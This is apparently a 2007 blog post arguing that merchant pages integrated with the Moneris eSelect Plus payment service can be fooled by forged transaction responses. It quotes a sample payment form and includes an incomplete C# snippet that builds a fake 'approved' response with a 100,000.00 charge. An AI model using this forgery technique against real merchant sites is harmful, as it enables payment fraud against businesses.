8 June 2007

Online Payment Insecurities

by mo

So I was doing a little research on integrating the ability to make online payment through a financial processor and came across Moneris. I came across this document. It is the eSelect plus merchant integration guide. It contains information on how to access a test site, with a store id, username and password.

When you log in, you can see a number of different vendors, and you can see information on them. Ok… wtf??? So I can see a list of vendors who use Moneris eSelect. That’s kind of weird, it only shows the tests site for them, but it wouldn’t take much to figure out how to get to the production site. (Maybe, maybe not!)

The above mentioned PDF, also describes how a vendor’s web application is to communicate with Moneris. They require a number of hidden input fields sent in a HTTP post to their secure server.

<form method="POST" action="https://esqa.moneris.com/HPPDP/index.php">
  <input type="HIDDEN" name="ps_store_id" VALUE="AF4Fs1024" />
  <input type="HIDDEN" name="hpp_key" VALUE="Hsjh4GSr4g" />
  <input type="HIDDEN" name="charge_total" VALUE="1.00" />
  <input type="SUBMIT" name="SUBMIT" value="Click to proceed to Secure Page" /> 

Moneris will process the information based on your store id, amount, and card information you submit to Moneris. Then Moneris will submit an HTTP post back to your page, with the results of the transaction. These parameters are defined in the document mentioned above.

  • Amount - (charge_total)
  • Transaction Type - (trans_name)
  • Date and Time - (date_stamp & time_stamp)
  • Authorisation Code - (bank_approval_code)
  • Response Code - (response_code)
  • ISO Code - (iso_code)
  • Response Message - (message)
  • Reference Number - (bank_transaction_id)

Interesting… this seemed kind of insecure to me. If someone were to find one of these pages on the net that accepts the response from Moneris and parses out these values, they could potentially craft a malicious URL to simulate the data the would be returned to Moneris. What’s even scarier, is that since they could log in to the test site, and they could see a list of other vendors that someone could go look for exploits on. It’s like a honey pot for exploits??

A malicious URL might look like…


Also, if someone were to write a page that posted directly to Moneris that buried the hidden input fields within the scope of a form element, a user could view the source and pull out all the hidden input arguments and try to add to the hand crafted URL…

Now say someone were to write an app…

public static void Main() {
  WebRequest request = WebRequest.Create(ConstructUrl("http://domain.com/page.php"));
  WebResponse response = request.GetResponse();
  Stream dataStream = response.GetResponseStream();
  StreamReader reader = new StreamReader(dataStream);
  string responseFromServer = reader.ReadToEnd();

  using(StreamWriter writer = File.CreateText(Path.Combine(Environment.CurrentDirectory, "MyFakeReceipt.html"))) {

private static String ConstructUrl(String pagePath) {
  StringBuilder builder = new StringBuilder();
  builder.Append("?" + MonerisParameters.Amount + "=100,000.00");
  builder.Append("&" + MonerisParameters.TransactionType + "=N/A");
  builder.Append("&" + MonerisParameters.Date + "=" + DateTime.Now.Date.ToShortDateString());
  builder.Append("&" + MonerisParameters.Time + "=" + DateTime.Now.TimeOfDay);
  builder.Append("&" + MonerisParameters.ResponseMessage + "=Congratulations on your fake purchase!");
  builder.Append("&" + MonerisParameters.AuthorizationCode + "=N/A");
  builder.Append("&" + MonerisParameters.ResponseCode + "=N/A");
  builder.Append("&" + MonerisParameters.IsoCode + "=N/A");
  builder.Append("&" + MonerisParameters.ReferenceNumber + "=N/A");

  return builder.ToString();

public class MonerisParameters {
  public const String Amount = "charge_total";
  public const String TransactionType = "trans_name";
  public const String Date = "date_stamp";
  public const String Time = "time_stamp";
  public const String AuthorizationCode = "bank_approval_code";
  public const String ResponseCode = "response_code";
  public const String IsoCode = "iso_code";
  public const String ResponseMessage = "message";
  public const String ReferenceNumber = "bank_transaction_id";

It’s a scary world… and this is why I trust debit cards, credit cards and most especially gift cards less and less. Don’t even get me started with Gift Cards!

csharp security